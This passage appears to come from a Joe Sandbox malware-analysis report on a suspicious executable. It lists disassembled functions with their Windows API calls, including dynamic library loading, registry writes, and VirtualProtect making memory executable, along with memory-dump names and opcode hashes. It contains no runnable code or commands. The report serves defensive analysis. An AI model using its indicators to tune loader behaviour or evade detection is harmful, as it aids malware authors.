Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: c55ef19b1d155cac422469f2929527eb9f7a60a7667ba4af7f0f003dd8d3c6d7
Instruction ID: ee44cb40e53ee45f72a0237e1ac7dd9bbdf9d48109a1395b289766a98c9c438f
Opcode Fuzzy Hash: c55ef19b1d155cac422469f2929527eb9f7a60a7667ba4af7f0f003dd8d3c6d7
Instruction Fuzzy Hash: C9E04872A082049FEF64EBA4FE9556F77F4EB50365B20447FE101F11C2DA7849428A5D

Function 00401594 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?), ref: 004015A6
ShowWindow.USER32(?), ref: 004015BB

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 43fc7ab4d8aab13bbe0e3b58b10b50637c22b5aa756d30fe598e07b3bf5632ed
Instruction ID: 6682d38faa1af99df36a0191d691bb63ef923b98cac77dddb2e5d8f8093f9b88
Opcode Fuzzy Hash: 43fc7ab4d8aab13bbe0e3b58b10b50637c22b5aa756d30fe598e07b3bf5632ed
Instruction Fuzzy Hash: 5AE04F727001109FCF64DB94EEA086E73E6E794310360043FD102B3290C6749C068A68

Function 004066B5 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000000,?,0040351A,0000000C), ref: 004066C7
GetProcAddress.KERNEL32(00000000,?), ref: 004066E2

Part of subcall function 00406647: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040665E
Part of subcall function 00406647: wsprintfA.USER32 ref: 00406697
Part of subcall function 00406647: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004066AB

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 6364b50fcd8a78884de1a109c3061c8e2e734accc18c0610f9b5885e266cf418
Instruction ID: a472cff2ba870c31c69f4352ad77424fb7bed112d4ffd52c95bf20a34481097e
Opcode Fuzzy Hash: 6364b50fcd8a78884de1a109c3061c8e2e734accc18c0610f9b5885e266cf418
Instruction Fuzzy Hash: BAE08C73A04210ABD610A6709E0883B73ACAF897413030C3EF952F2240DB3ADC32966E

Function 00405E20 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402F71,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,80000000,00000003,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E24
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E46

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4c035aff046b4d43788645f88f630755698ea216f1f6cd5eefec511dda558379
Instruction ID: 0febe3887fb1e567d40345103610fd6f3e8d71b3c6328ccb34cdb50f288ecb70
Opcode Fuzzy Hash: 4c035aff046b4d43788645f88f630755698ea216f1f6cd5eefec511dda558379
Instruction Fuzzy Hash: 23D09E31254301AFEF099F20DE16F2E7AA2EB84B00F11952CB682A41E0DA7158299B15

Function 00405DFB Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,00405A13,?,?,00000000,00405BF6,?,?,?,?), ref: 00405E00
SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405E14

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 96c7ec262ab61fe6fea47152b5241fdb13327e4bfef36903235a76d16f55e530
Instruction ID: f779a6514c6a4e708396d8c5aab00734bb1243d63453d3b06c62658839fa2b1d
Opcode Fuzzy Hash: 96c7ec262ab61fe6fea47152b5241fdb13327e4bfef36903235a76d16f55e530
Instruction Fuzzy Hash: 20D0C9725056206BC2103B28EE0889BBB55DB542717028B35F9A9A22B0CB304C668B98

Function 004058F1 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004033CB,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 004058F7
GetLastError.KERNEL32(?,00000008,0000000A,0000000C), ref: 00405905

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 226d66ac6a6a747d722d053d5b09978fff7ae735be90135577c6d3bd4ef0b281
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: F9C04CB120490ADED6505B319F0971B7A51AB50751F175839A586E40A0DB348455DD2E

Function 6E332AC8 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 6E332B87

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 8055c6cd7263a0502ae5bbe7c220ef61577e4dc02cbeb21349edda89ee5960d8
Instruction ID: 727c6230e5cf194a787ba7db330fe4506d9696b7633078e536b2f0dfad5b5830
Opcode Fuzzy Hash: 8055c6cd7263a0502ae5bbe7c220ef61577e4dc02cbeb21349edda89ee5960d8
Instruction Fuzzy Hash: CA413A729046A4AFDB309FA4DA81F9937BCEB05359F308865E54587210CB3A9581CFE1

Function 0040269A Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 27d70afe983ce046a9cdbd576e9bb3ab08da78768c3b3dac89c271fd87d57e25
Instruction ID: c5fbe62f9b4e2cb89eed07bb10574c4b4a04671343a68c93ee4f329e73b59f15
Opcode Fuzzy Hash: 27d70afe983ce046a9cdbd576e9bb3ab08da78768c3b3dac89c271fd87d57e25
Instruction Fuzzy Hash: 3521B530D04289EEDF318B6886586EEBBB09F01314F14407FE4D1B72E2C6BC8985CB69

Function 00402758 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402776

Part of subcall function 004061EB: wsprintfA.USER32 ref: 004061F8

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: d0d9330acd65b2e867353bc74e86739eab35bf528f3ad37c96d6fee4195676f1
Instruction ID: 00adb5ebf99275c5c47ff66d1c826bee854e75ad94e87541b3f98b02de3c6d9f
Opcode Fuzzy Hash: d0d9330acd65b2e867353bc74e86739eab35bf528f3ad37c96d6fee4195676f1
Instruction Fuzzy Hash: E3E09272A04104AFDF50FBA4AE49DAF76B8EB40359B10043FF202F00C2CA7C4A538A2D

Function 004023C9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 00402402

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 3326b8378841c5f3540bed9b182ec42c057636b7d1278427695ffb5e145c9da6
Instruction ID: f24de8215b53ecbcf80a61348f6bfc7870897c54b3e6c90e9d08f7162164e460
Opcode Fuzzy Hash: 3326b8378841c5f3540bed9b182ec42c057636b7d1278427695ffb5e145c9da6
Instruction Fuzzy Hash: 9DE04F3160413A6BEB6036B11F8D97F2159AB84314B14053EBA11B62C6D9FC8E8352A9

Function 00406141 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402D0F,00000000,?,?), ref: 0040616A

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction ID: bbdc12591f07ec5b960d4a172b59ed2570ed34ba37628b65f55bcc9503456b15
Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction Fuzzy Hash: 7AE0E6B2020109BEEF099F60DC1AD7B772DE708310F01492EFA06D4151E6B5E9705634

Function 00405EC7 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403343,00000000,0041D440,000000FF,0041D440,000000FF,000000FF,00000004,00000000), ref: 00405EDB

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 11d7c7005d0d3054af3b9be2f3a82004ed33d4240877e49ff836af06555e7eff
Instruction ID: 0d77a24040528495e1d5683a333844bda4a24a81b27895c3293bddb668a77566
Opcode Fuzzy Hash: 11d7c7005d0d3054af3b9be2f3a82004ed33d4240877e49ff836af06555e7eff
Instruction Fuzzy Hash: 20E0EC3221065EABDF509F55DC00EEB7B6CEB05360F004837F965E2150D631EA219BE9

Function 00405E98 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040338D,00000000,00000000,004031B7,000000FF,00000004,00000000,00000000,00000000), ref: 00405EAC

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 62c77d97b5b576e4a72063145ecbe95ee4dab9ee0079c0f8f42f41321a19b9da
Instruction ID: c4f2c5db2c8838af9825f3b875f3a0ad88d5b51994199861a780369f0be58439
Opcode Fuzzy Hash: 62c77d97b5b576e4a72063145ecbe95ee4dab9ee0079c0f8f42f41321a19b9da
Instruction Fuzzy Hash: E4E04F32210619ABDF109F60DC04EAB3B6CEB00351F000432F954E2140D230E9118AE4

Function 6E3329B1 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6E33504C,00000004,00000040,6E33503C), ref: 6E3329CF

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 03985acc724b93e27526cd515bcfc72a6696ce7190b12ed8e89bf22c77568e79
Instruction ID: 18e734b0aa2cc48c338ef6943dcd83713d8b582fdb59bcd80c540cece29c91a3
Opcode Fuzzy Hash: 03985acc724b93e27526cd515bcfc72a6696ce7190b12ed8e89bf22c77568e79
Instruction Fuzzy Hash: 40F0A5F0614AC0FECB70CF688584F093BE8BB1A356F3049EAE148DA241E3364084CF91

Function 00406113 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,?,0042DFC0,?,?,?,004061A1,?,?,?,?,00000000,?), ref: 00406137

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: 4278cf0171cf0b678593f71500b3925c4415a8e9ce87015ff7d519d2eb21bae6
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: BCD0123204020DBBDF119E90AD01FAB3B1DEB48350F014826FE07A8091D775D570A724

Function 00404379 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000000,00000000,00000000), ref: 0040438B

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a0eb0ef1ff6dd579934d65901b95a1f3a9c939147581cb3b9152e9d48dc718fa
Instruction ID: f513ac05e70e3adf76b651c0ca8ec4e95b66ff2fdc1b64d79a05bcbbe3c40a95
Opcode Fuzzy Hash: a0eb0ef1ff6dd579934d65901b95a1f3a9c939147581cb3b9152e9d48dc718fa
Instruction Fuzzy Hash: 4DC09BB17403027BFE209B529E45F077798D790700F1554397754F54D0C774D410D62C

Function 00404362 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00404192), ref: 00404370

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f6c8117e81de0903b802e48e7999fd2a70a6c35278de0d39013be8dd7138c214
Instruction ID: 50a7fc5ec129452a525cde7c4fd9a9aa290cced010421ab9f43a5acdc6dad314
Opcode Fuzzy Hash: f6c8117e81de0903b802e48e7999fd2a70a6c35278de0d39013be8dd7138c214
Instruction Fuzzy Hash: 33B0127A781601BBDE615B40DF09F457EB2E768701F408039B348240F0CEB200A9DB2C

Function 00403390 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004030F6,?,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 0040339E

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bee48198ef0a4de3628cda0e050061df99a752697c0ad5ddba35b49727997b0c
Instruction ID: 699dda5fb03a211c19396a68767747e6c986426da1756d7c47186a7ffa8d2f84
Opcode Fuzzy Hash: bee48198ef0a4de3628cda0e050061df99a752697c0ad5ddba35b49727997b0c
Instruction Fuzzy Hash: EBB01231140300BFDA214F00DF09F057B21AB94710F10C034B384780F086711075EB0E

Function 0040434F Relevance: 1.5, APIs: 1, Instructions: 4COMMON

